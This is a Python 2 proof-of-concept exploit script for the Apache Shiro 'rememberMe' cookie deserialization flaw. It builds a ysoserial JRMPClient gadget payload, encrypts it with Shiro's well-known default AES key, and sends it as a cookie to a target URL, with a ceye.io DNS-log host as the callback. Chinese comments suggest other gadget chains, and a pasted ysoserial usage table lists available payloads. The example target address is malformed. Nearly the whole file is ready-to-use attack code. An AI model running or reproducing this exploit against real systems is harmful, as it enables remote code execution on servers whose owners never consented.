# -*- encoding:utf-8 -*-
# pip install pycrypto
# 
import os
import re
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES

JAR_FILE = './ysoserial-0.0.6-SNAPSHOT-all.jar'

def poc(url, rce_command):
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url
    try:
        payload = generator(rce_command, JAR_FILE)  # 生成payload
        print payload
        print payload.decode()
        r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=50)  # 发送验证请求
        print r.text
    except Exception, e:
        print(e)
        pass
    return False


def generator(command, fp):
    if not os.path.exists(fp):
        raise Exception('jar file not found!')
    popen = subprocess.Popen(['java', '-jar', fp, 'JRMPClient', command],
                             stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

#
poc('http://127.0.0.:9999/login"', 'test.38s7vp.ceye.io')

# https://www.seebug.org/vuldb/ssvid-92180
## apache shrio 反序列化 是使用的 commons-collections* 包,试试 1-5 和 CommonsBeanutils1 能否回显dnslog 

'''
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
  Available payload types:
     Payload             Authors                     Dependencies                                                                                                                                                                            
     -------             -------                     ------------                                                                                                                                                                            
     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5                                                                                                                                                                               
     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11                                                                                                                                               
     Clojure             @JackOfMostTrades           clojure:1.8.0                                                                                                                                                                           
     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2                                                                                                                   
     CommonsCollections1 @frohoff                    commons-collections:3.1                                                                                                                                                                 
     CommonsCollections2 @frohoff                    commons-collections4:4.0                                                                                                                                                                
     CommonsCollections3 @frohoff                    commons-collections:3.1                                                                                                                                                                 
     CommonsCollections4 @frohoff                    commons-collections4:4.0                                                                                                                                                                
     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1                                                                                                                                                                 
     CommonsCollections6 @matthias_kaiser            commons-collections:3.1                                                                                                                                                                 
     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4                                                                                                                                                
     Groovy1             @frohoff                    groovy:2.3.9                                                                                                                                                                            
     Hibernate1          @mbechler                                                                                                                                                                                                           
     Hibernate2          @mbechler                                                                                                                                                                                                           
     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21                                
     JRMPClient          @mbechler                                                                                                                                                                                                           
     JRMPListener        @mbechler                                                                                                                                                                                                           
     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21                                            
     Jdk7u21             @frohoff                                                                                                                                                                                                            
     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2                                                                                                                                                                 
     MozillaRhino1       @matthias_kaiser            js:1.7R2                                                                                                                                                                                
     MozillaRhino2       @_tint0                     js:1.7R2                                                                                                                                                                                
     Myfaces1            @mbechler                                                                                                                                                                                                           
     Myfaces2            @mbechler                                                                                                                                                                                                           
     ROME                @mbechler                   rome:1.0                                                                                                                                                                                
     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE                                                                                                                                   
     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2                                                                                               
     URLDNS              @gebl                                                                                                                                                                                                               
     Vaadin1             @kai_ullrich                vaadin-server:7.7.14, vaadin-shared:7.7.14                                                                                                                                              
     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4                                                                                                                                                     

'''